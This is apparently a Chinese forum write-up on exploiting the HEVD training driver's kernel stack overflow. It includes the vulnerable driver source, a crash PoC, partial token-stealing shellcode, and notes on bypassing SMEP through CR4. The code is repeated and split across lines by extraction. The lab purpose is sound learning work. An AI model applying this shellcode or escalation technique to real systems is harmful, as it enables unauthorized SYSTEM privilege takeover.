-
-
[原创]Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
-
发表于: 2021-6-26 22:06 11118
-
搭建Windbg+VMware双机调试环境可参阅配置WinDbg,调试操作系统(双机调试)一文,笔者最终使用环境如下:
关于编写驱动程序微软提供示例偏简单,故笔者从Github上找到另一示例。如何安装WDK,创建项目及添加源文件不再赘述,可参阅微软示例。驱动程序中源文件代码如下:
禁用Spectre缓解:
修改目标系统版本及平台:
生成后将所有文件复制进虚拟机。尽管微软推荐使用PnPUtil进行驱动安装,但其于Win7系统下提供功能极少:
故笔者采用OSRLoader进行驱动安装及启用:
WinDbg中查看,加载成功:
之后编译主程序,其负责向驱动程序发出请求:
编译完成后复制进虚拟机。WinDbg执行ed nt!Kd_Default_Mask 8
命令,如此一来便可查看DbgPrint
函数输出结果。执行虚拟机中主程序:
下面于WinDbg中查看由主程序DeviceIoControl
函数执行到驱动程序IrpDeviceIoCtlHandler
函数经过哪些函数。首先于驱动程序IrpDeviceIoCtlHandler
函数处设断,虚拟机中执行主程序,成功断下后kb
命令输出结果:
其中0x00d21929地址对应主程序中cmp esi, esp
(call ds:__imp__DeviceIoControl@32
下一条指令):
其传递给KernelBase!DeviceIoControl
第二个参数0x00222003即驱动程序IrpDeviceIoCtlHandler
函数中switch判断的IoControlCode
:
首先查看HEVD源码,其源码位于HackSysExtremeVulnerableDriver-3.00\Driver\HEVD
目录下。HackSysExtremeVulnerableDriver.c文件与上述部分驱动程序示例结构类似,不再另行赘述。本节对其BufferOverflowStack.c文件:
漏洞位于RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
一句,其在复制时使用UserBuffer
长度,且未进行校验,如此一来,若UserBuffer
长度超过KernelBuffer
长度,可造成溢出。KernelBuffer
长度在初始化时为0x800:
下面为触发漏洞POC:
int chBufferLen = 0x824;
正好可以覆盖到函数返回地址:
完成覆盖,BSOD:
上述POC仅仅是引发崩溃,下面编写Exp以执行Shellcode。Shellcode如下:
pushad
与popad
及后续指令用于恢复执行环境,详见后文。mov eax,[fs:eax + 0x124]
功能是获取CurrentThread
指针内容,fs:[0]
存储的是_KPCR
结构:
其偏移0x120处存储的是_KPRCB
:
故mov eax,[fs:eax + 0x124]
指令中0x124偏移用于获取_KPRCB
中CurrentThread
指向内容。_KTHREAD
偏移0x40处存储的是_KAPC_STATE
:
_KAPC_STATE
偏移0x10处存储的是指向_KPROCESS
指针:
而_EPROCESS
结构第一项即为_KPROCESS
,故获取到指向_KPROCESS
指针等同于获取到_EPROCESS
地址:
由此mov eax,[eax + 0x50]
指令中0x50偏移用于获取_EPROCESS
。通过ActiveProcessLinks
字段可以实现进程遍历(mov eax,[eax + 0xb8]
与sub eax,0xb8
),查找UniqueProcessId
字段等于4的进程(System进程PID为4,cmp[eax + 0xb4],edx
)。最后通过mov edx,[eax + 0xf8]
与mov[ecx + 0xf8],edx
两条指令替换Token。
xor eax,eax;pop ebp;retn 8
返回STATUS_SUCCESS给IrpDeviceIoCtlHandler
函数:
完整Exploit如下:
成功:
SMEP(Supervisor Mode Execution Prevention)由Intel lvy Bridge引入,从Windows 8开始启用该特性,其作用在于禁止RING-0执行用户空间代码,而SMAP(Supervisor Mode Access Prevention)由Intel Broadwell引入,相较SMEP增加读与写保护:
设置SMEP与SMAP位于CR4寄存器中:
本节内容笔者于Windows 10 1709 x64环境中调试完成(Exp并未执行成功,但笔者从中学到如何获取内核基址以及绕过SMEP),内核版本如下:
Windows 10 Kernel Version 16299 MP (1 procs) Free x64
Built by: 16299.637.amd64fre.rs3_release_svc.180808-1748
查看CR4寄存器内容:
可以看到已启用SMEP。完整Exploit如下(来自h0mbre's Github):
其获取内核基址采用NtQuerySystemInformation
函数:
之后Bypass SMEP采用修改CR4寄存器,置其第21位为0。据笔者环境,CR4=00000000001506f8
,应修改为00000000000506f8
,Gadgets如下:
笔者环境中_EPROCESS
结构与Exp作者略有不同,故修改Shellcode如下:
其他部分与上节思路基本一致,不再赘述。笔者构造的Exploit可以于目标虚拟机中执行,修改CR4及替换Token完成后恢复原执行环境,崩溃如下:
由于知识储备有限,笔者尝试良久,未果。总结整体思路为:Get Kernel Base Address—>ROP(Modify CR4 value)—>Shellcode(User Space)。
/
/
Sample
"Hello World"
driver
/
/
creates a HelloDev, that expects one IOCTL
#include <ntddk.h>
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) //#define CTL_CODE(DeviceType, Function, Method, Access) ( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"
#define DEV_NAME L"\\Device\\HelloDev"
/
/
/
<summary>
/
/
/
IRP Not Implemented Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"DeviceObject"
>The pointer to DEVICE_OBJECT<
/
param>
/
/
/
<param name
=
"Irp"
>The pointer to IRP<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
Irp
-
>IoStatus.Information
=
0
;
Irp
-
>IoStatus.Status
=
STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
/
/
Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return
STATUS_NOT_SUPPORTED;
}
/
/
/
<summary>
/
/
/
IRP Create Close Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"DeviceObject"
>The pointer to DEVICE_OBJECT<
/
param>
/
/
/
<param name
=
"Irp"
>The pointer to IRP<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
Irp
-
>IoStatus.Information
=
0
;
Irp
-
>IoStatus.Status
=
STATUS_SUCCESS;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
/
/
Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
/
/
/
<summary>
/
/
/
IRP Unload Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"DeviceObject"
>The pointer to DEVICE_OBJECT<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {
UNICODE_STRING DosDeviceName
=
{
0
};
PAGED_CODE();
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
/
/
Delete the symbolic link
IoDeleteSymbolicLink(&DosDeviceName);
/
/
Delete the device
IoDeleteDevice(DriverObject
-
>DeviceObject);
DbgPrint(
"[!] Hello Driver Unloaded\n"
);
}
/
/
/
<summary>
/
/
/
IRP Device IoCtl Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"DeviceObject"
>The pointer to DEVICE_OBJECT<
/
param>
/
/
/
<param name
=
"Irp"
>The pointer to IRP<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
ULONG IoControlCode
=
0
;
PIO_STACK_LOCATION IrpSp
=
NULL;
NTSTATUS Status
=
STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp
=
IoGetCurrentIrpStackLocation(Irp);
IoControlCode
=
IrpSp
-
>Parameters.DeviceIoControl.IoControlCode;
if
(IrpSp) {
switch (IoControlCode) {
case HELLO_DRV_IOCTL:
DbgPrint(
"[< HelloDriver >] Hello from the Driver!\n"
);
break
;
default:
DbgPrint(
"[-] Invalid IOCTL Code: 0x%X\n"
, IoControlCode);
Status
=
STATUS_INVALID_DEVICE_REQUEST;
break
;
}
}
Irp
-
>IoStatus.Status
=
Status;
Irp
-
>IoStatus.Information
=
0
;
/
/
Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return
Status;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
UINT32 i
=
0
;
PDEVICE_OBJECT DeviceObject
=
NULL;
NTSTATUS Status
=
STATUS_UNSUCCESSFUL;
UNICODE_STRING DeviceName, DosDeviceName
=
{
0
};
UNREFERENCED_PARAMETER(RegistryPath);
PAGED_CODE();
RtlInitUnicodeString(&DeviceName, DEV_NAME);
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
DbgPrint(
"[*] In DriverEntry\n"
);
/
/
Create the device
Status
=
IoCreateDevice(DriverObject,
0
,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject);
if
(!NT_SUCCESS(Status)) {
if
(DeviceObject) {
/
/
Delete the device
IoDeleteDevice(DeviceObject);
}
DbgPrint(
"[-] Error Initializing HelloDriver\n"
);
return
Status;
}
/
/
Assign the IRP handlers
for
(i
=
0
; i <
=
IRP_MJ_MAXIMUM_FUNCTION; i
+
+
) {
/
/
Disable the Compiler Warning:
28169
#pragma warning(push)
#pragma warning(disable : 28169)
DriverObject
-
>MajorFunction[i]
=
IrpNotImplementedHandler;
#pragma warning(pop)
}
/
/
Assign the IRP handlers
for
Create, Close
and
Device Control
DriverObject
-
>MajorFunction[IRP_MJ_CREATE]
=
IrpCreateCloseHandler;
DriverObject
-
>MajorFunction[IRP_MJ_CLOSE]
=
IrpCreateCloseHandler;
DriverObject
-
>MajorFunction[IRP_MJ_DEVICE_CONTROL]
=
IrpDeviceIoCtlHandler;
/
/
Assign the driver Unload routine
DriverObject
-
>DriverUnload
=
IrpUnloadHandler;
/
/
Set
the flags
DeviceObject
-
>Flags |
=
DO_DIRECT_IO;
DeviceObject
-
>Flags &
=
~DO_DEVICE_INITIALIZING;
/
/
Create the symbolic link
Status
=
IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
/
/
Show the banner
DbgPrint(
"[!] HelloDriver Loaded\n"
);
return
Status;
}
/
/
Sample
"Hello World"
driver
/
/
creates a HelloDev, that expects one IOCTL
#include <ntddk.h>
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) //#define CTL_CODE(DeviceType, Function, Method, Access) ( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"
#define DEV_NAME L"\\Device\\HelloDev"
/
/
/
<summary>
/
/
/
IRP Not Implemented Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"DeviceObject"
>The pointer to DEVICE_OBJECT<
/
param>
/
/
/
<param name
=
"Irp"
>The pointer to IRP<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
Irp
-
>IoStatus.Information
=
0
;
Irp
-
>IoStatus.Status
=
STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
/
/
Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return
STATUS_NOT_SUPPORTED;
}
/
/
/
<summary>
/
/
/
IRP Create Close Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"DeviceObject"
>The pointer to DEVICE_OBJECT<
/
param>
/
/
/
<param name
=
"Irp"
>The pointer to IRP<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
Irp
-
>IoStatus.Information
=
0
;
Irp
-
>IoStatus.Status
=
STATUS_SUCCESS;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
/
/
Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
/
/
/
<summary>
/
/
/
IRP Unload Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"DeviceObject"
>The pointer to DEVICE_OBJECT<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {
UNICODE_STRING DosDeviceName
=
{
0
};
PAGED_CODE();
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
/
/
Delete the symbolic link
IoDeleteSymbolicLink(&DosDeviceName);
/
/
Delete the device
IoDeleteDevice(DriverObject
-
>DeviceObject);
DbgPrint(
"[!] Hello Driver Unloaded\n"
);
}
/
/
/
<summary>
/
/
/
IRP Device IoCtl Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"DeviceObject"
>The pointer to DEVICE_OBJECT<
/
param>
/
/
/
<param name
=
"Irp"
>The pointer to IRP<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
ULONG IoControlCode
=
0
;
PIO_STACK_LOCATION IrpSp
=
NULL;
NTSTATUS Status
=
STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp
=
IoGetCurrentIrpStackLocation(Irp);
IoControlCode
=
IrpSp
-
>Parameters.DeviceIoControl.IoControlCode;
if
(IrpSp) {
switch (IoControlCode) {
case HELLO_DRV_IOCTL:
DbgPrint(
"[< HelloDriver >] Hello from the Driver!\n"
);
break
;
default:
DbgPrint(
"[-] Invalid IOCTL Code: 0x%X\n"
, IoControlCode);
Status
=
STATUS_INVALID_DEVICE_REQUEST;
break
;
}
}
Irp
-
>IoStatus.Status
=
Status;
Irp
-
>IoStatus.Information
=
0
;
/
/
Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return
Status;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
UINT32 i
=
0
;
PDEVICE_OBJECT DeviceObject
=
NULL;
NTSTATUS Status
=
STATUS_UNSUCCESSFUL;
UNICODE_STRING DeviceName, DosDeviceName
=
{
0
};
UNREFERENCED_PARAMETER(RegistryPath);
PAGED_CODE();
RtlInitUnicodeString(&DeviceName, DEV_NAME);
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
DbgPrint(
"[*] In DriverEntry\n"
);
/
/
Create the device
Status
=
IoCreateDevice(DriverObject,
0
,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject);
if
(!NT_SUCCESS(Status)) {
if
(DeviceObject) {
/
/
Delete the device
IoDeleteDevice(DeviceObject);
}
DbgPrint(
"[-] Error Initializing HelloDriver\n"
);
return
Status;
}
/
/
Assign the IRP handlers
for
(i
=
0
; i <
=
IRP_MJ_MAXIMUM_FUNCTION; i
+
+
) {
/
/
Disable the Compiler Warning:
28169
#pragma warning(push)
#pragma warning(disable : 28169)
DriverObject
-
>MajorFunction[i]
=
IrpNotImplementedHandler;
#pragma warning(pop)
}
/
/
Assign the IRP handlers
for
Create, Close
and
Device Control
DriverObject
-
>MajorFunction[IRP_MJ_CREATE]
=
IrpCreateCloseHandler;
DriverObject
-
>MajorFunction[IRP_MJ_CLOSE]
=
IrpCreateCloseHandler;
DriverObject
-
>MajorFunction[IRP_MJ_DEVICE_CONTROL]
=
IrpDeviceIoCtlHandler;
/
/
Assign the driver Unload routine
DriverObject
-
>DriverUnload
=
IrpUnloadHandler;
/
/
Set
the flags
DeviceObject
-
>Flags |
=
DO_DIRECT_IO;
DeviceObject
-
>Flags &
=
~DO_DEVICE_INITIALIZING;
/
/
Create the symbolic link
Status
=
IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
/
/
Show the banner
DbgPrint(
"[!] HelloDriver Loaded\n"
);
return
Status;
}
/
/
Sample app that talks with the HelloDev (Hello World driver)
#include <stdio.h>
#include <windows.h>
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[]
=
"\\\\.\\HelloDev"
;
HANDLE open_device(const char
*
device_name)
{
HANDLE device
=
CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return
device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
BOOL
send_ioctl(HANDLE device, DWORD ioctl_code)
{
/
/
prepare
input
buffer
:
DWORD bufSize
=
0x4
;
BYTE
*
inBuffer
=
(BYTE
*
)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
/
/
fill the
buffer
with some content:
RtlFillMemory(inBuffer, bufSize,
'A'
);
DWORD size_returned
=
0
;
BOOL
is_ok
=
DeviceIoControl(device,
ioctl_code,
inBuffer,
bufSize,
NULL,
/
/
outBuffer
-
>
None
0
,
/
/
outBuffer size
-
>
0
&size_returned,
NULL
);
/
/
release the
input
bufffer:
HeapFree(GetProcessHeap(),
0
, (LPVOID)inBuffer);
return
is_ok;
}
int
main()
{
HANDLE dev
=
open_device(kDevName);
if
(dev
=
=
INVALID_HANDLE_VALUE) {
printf(
"Failed!\n"
);
system(
"pause"
);
return
-
1
;
}
send_ioctl(dev, HELLO_DRV_IOCTL);
close_device(dev);
system(
"pause"
);
return
0
;
}
/
/
Sample app that talks with the HelloDev (Hello World driver)
#include <stdio.h>
#include <windows.h>
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[]
=
"\\\\.\\HelloDev"
;
HANDLE open_device(const char
*
device_name)
{
HANDLE device
=
CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return
device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
BOOL
send_ioctl(HANDLE device, DWORD ioctl_code)
{
/
/
prepare
input
buffer
:
DWORD bufSize
=
0x4
;
BYTE
*
inBuffer
=
(BYTE
*
)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
/
/
fill the
buffer
with some content:
RtlFillMemory(inBuffer, bufSize,
'A'
);
DWORD size_returned
=
0
;
BOOL
is_ok
=
DeviceIoControl(device,
ioctl_code,
inBuffer,
bufSize,
NULL,
/
/
outBuffer
-
>
None
0
,
/
/
outBuffer size
-
>
0
&size_returned,
NULL
);
/
/
release the
input
bufffer:
HeapFree(GetProcessHeap(),
0
, (LPVOID)inBuffer);
return
is_ok;
}
int
main()
{
HANDLE dev
=
open_device(kDevName);
if
(dev
=
=
INVALID_HANDLE_VALUE) {
printf(
"Failed!\n"
);
system(
"pause"
);
return
-
1
;
}
send_ioctl(dev, HELLO_DRV_IOCTL);
close_device(dev);
system(
"pause"
);
return
0
;
}
00
9998dafc
83e7f593
88593e20
885a5738
885a5738
KMDFHelloWorld!IrpDeviceIoCtlHandler
01
9998db14
8407399f
866b0430
885a5738
885a57a8
nt!IofCallDriver
+
0x63
02
9998db34
84076b71
88593e20
866b0430
00000000
nt!IopSynchronousServiceTail
+
0x1f8
03
9998dbd0
840bd3f4
88593e20
885a5738
00000000
nt!IopXxxControlFile
+
0x6aa
04
9998dc04
83e861ea
00000020
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
05
9998dc04
770a70b4
00000020
00000000
00000000
nt!KiFastCallEntry
+
0x12a
06
0013f9a8
770a5864
752f989d
00000020
00000000
ntdll!KiFastSystemCallRet
07
0013f9ac
752f989d
00000020
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
08
0013fa0c
75e1a671
00000020
00222003
001a2630
KernelBase!DeviceIoControl
+
0xf6
09
0013fa38
00d21929
00000020
00222003
001a2630
kernel32!DeviceIoControlImplementation
+
0x80
00
9998dafc
83e7f593
88593e20
885a5738
885a5738
KMDFHelloWorld!IrpDeviceIoCtlHandler
01
9998db14
8407399f
866b0430
885a5738
885a57a8
nt!IofCallDriver
+
0x63
02
9998db34
84076b71
88593e20
866b0430
00000000
nt!IopSynchronousServiceTail
+
0x1f8
03
9998dbd0
840bd3f4
88593e20
885a5738
00000000
nt!IopXxxControlFile
+
0x6aa
04
9998dc04
83e861ea
00000020
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
05
9998dc04
770a70b4
00000020
00000000
00000000
nt!KiFastCallEntry
+
0x12a
06
0013f9a8
770a5864
752f989d
00000020
00000000
ntdll!KiFastSystemCallRet
07
0013f9ac
752f989d
00000020
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
08
0013fa0c
75e1a671
00000020
00222003
001a2630
KernelBase!DeviceIoControl
+
0xf6
09
0013fa38
00d21929
00000020
00222003
001a2630
kernel32!DeviceIoControlImplementation
+
0x80
#include "BufferOverflowStack.h"
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
/
/
/
<summary>
/
/
/
Trigger the
buffer
overflow
in
Stack Vulnerability
/
/
/
<
/
summary>
/
/
/
<param name
=
"UserBuffer"
>The pointer to user mode
buffer
<
/
param>
/
/
/
<param name
=
"Size"
>Size of the user mode
buffer
<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status
=
STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE]
=
{
0
};
PAGED_CODE();
__try
{
/
/
/
/
Verify
if
the
buffer
resides
in
user mode
/
/
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint(
"[+] UserBuffer: 0x%p\n"
, UserBuffer);
DbgPrint(
"[+] UserBuffer Size: 0x%X\n"
, Size);
DbgPrint(
"[+] KernelBuffer: 0x%p\n"
, &KernelBuffer);
DbgPrint(
"[+] KernelBuffer Size: 0x%X\n"
, sizeof(KernelBuffer));
#ifdef SECURE
/
/
/
/
Secure Note: This
is
secure because the developer
is
passing a size
/
/
equal to size of KernelBuffer to RtlCopyMemory()
/
memcpy(). Hence,
/
/
there will be no overflow
/
/
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint(
"[+] Triggering Buffer Overflow in Stack\n"
);
/
/
/
/
Vulnerability Note: This
is
a vanilla Stack based Overflow vulnerability
/
/
because the developer
is
passing the user supplied size directly to
/
/
RtlCopyMemory()
/
memcpy() without validating
if
the size
is
greater
or
/
/
equal to the size of KernelBuffer
/
/
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
/
/
/
<summary>
/
/
/
Buffer
Overflow Stack Ioctl Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"Irp"
>The pointer to IRP<
/
param>
/
/
/
<param name
=
"IrpSp"
>The pointer to IO_STACK_LOCATION structure<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
NTSTATUS BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size
=
0
;
PVOID UserBuffer
=
NULL;
NTSTATUS Status
=
STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer
=
IrpSp
-
>Parameters.DeviceIoControl.Type3InputBuffer;
Size
=
IrpSp
-
>Parameters.DeviceIoControl.InputBufferLength;
if
(UserBuffer)
{
Status
=
TriggerBufferOverflowStack(UserBuffer, Size);
}
return
Status;
}
#include "BufferOverflowStack.h"
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
/
/
/
<summary>
/
/
/
Trigger the
buffer
overflow
in
Stack Vulnerability
/
/
/
<
/
summary>
/
/
/
<param name
=
"UserBuffer"
>The pointer to user mode
buffer
<
/
param>
/
/
/
<param name
=
"Size"
>Size of the user mode
buffer
<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status
=
STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE]
=
{
0
};
PAGED_CODE();
__try
{
/
/
/
/
Verify
if
the
buffer
resides
in
user mode
/
/
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint(
"[+] UserBuffer: 0x%p\n"
, UserBuffer);
DbgPrint(
"[+] UserBuffer Size: 0x%X\n"
, Size);
DbgPrint(
"[+] KernelBuffer: 0x%p\n"
, &KernelBuffer);
DbgPrint(
"[+] KernelBuffer Size: 0x%X\n"
, sizeof(KernelBuffer));
#ifdef SECURE
/
/
/
/
Secure Note: This
is
secure because the developer
is
passing a size
/
/
equal to size of KernelBuffer to RtlCopyMemory()
/
memcpy(). Hence,
/
/
there will be no overflow
/
/
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint(
"[+] Triggering Buffer Overflow in Stack\n"
);
/
/
/
/
Vulnerability Note: This
is
a vanilla Stack based Overflow vulnerability
/
/
because the developer
is
passing the user supplied size directly to
/
/
RtlCopyMemory()
/
memcpy() without validating
if
the size
is
greater
or
/
/
equal to the size of KernelBuffer
/
/
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
/
/
/
<summary>
/
/
/
Buffer
Overflow Stack Ioctl Handler
/
/
/
<
/
summary>
/
/
/
<param name
=
"Irp"
>The pointer to IRP<
/
param>
/
/
/
<param name
=
"IrpSp"
>The pointer to IO_STACK_LOCATION structure<
/
param>
/
/
/
<returns>NTSTATUS<
/
returns>
NTSTATUS BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size
=
0
;
PVOID UserBuffer
=
NULL;
NTSTATUS Status
=
STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer
=
IrpSp
-
>Parameters.DeviceIoControl.Type3InputBuffer;
Size
=
IrpSp
-
>Parameters.DeviceIoControl.InputBufferLength;
if
(UserBuffer)
{
Status
=
TriggerBufferOverflowStack(UserBuffer, Size);
}
return
Status;
}
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
int
main()
{
HANDLE dev
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
,GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
if
(dev
=
=
INVALID_HANDLE_VALUE)
{
printf(
"Failed!\n"
);
system(
"pause"
);
return
-
1
;
}
printf(
"Done! Device Handle:0x%p\n"
,dev);
CHAR
*
chBuffer;
int
chBufferLen
=
0x824
;
chBuffer
=
(CHAR
*
)malloc(chBufferLen);
ZeroMemory(chBuffer, chBufferLen);
memset(chBuffer,
0x41
, chBufferLen);
DWORD size_returned
=
0
;
BOOL
is_ok
=
DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,
0
,&size_returned,NULL);
CloseHandle(dev);
system(
"pause"
);
return
0
;
}
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
int
main()
{
HANDLE dev
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
,GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
if
(dev
=
=
INVALID_HANDLE_VALUE)
{
printf(
"Failed!\n"
);
system(
"pause"
);
return
-
1
;
}
printf(
"Done! Device Handle:0x%p\n"
,dev);
CHAR
*
chBuffer;
int
chBufferLen
=
0x824
;
chBuffer
=
(CHAR
*
)malloc(chBufferLen);
ZeroMemory(chBuffer, chBufferLen);
memset(chBuffer,
0x41
, chBufferLen);
DWORD size_returned
=
0
;
BOOL
is_ok
=
DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,
0
,&size_returned,NULL);
CloseHandle(dev);
system(
"pause"
);
return
0
;
}
CHAR shellcode[]
=
"\x60"
/
/
pushad
"\x31\xc0"
/
/
xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00"
/
/
mov eax,[fs:eax
+
0x124
]
"\x8b\x40\x50"
/
/
mov eax,[eax
+
0x50
]
"\x89\xc1"
/
/
mov ecx,eax
"\xba\x04\x00\x00\x00"
/
/
mov edx,
0x4
"\x8b\x80\xb8\x00\x00\x00"
/
/
mov eax,[eax
+
0xb8
]<
-
-
-
-
"\x2d\xb8\x00\x00\x00"
/
/
sub eax,
0xb8
|
"\x39\x90\xb4\x00\x00\x00"
/
/
cmp
[eax
+
0xb4
],edx |
"\x75\xed"
/
/
jnz
-
-
-
-
-
-
-
-
-
-
-
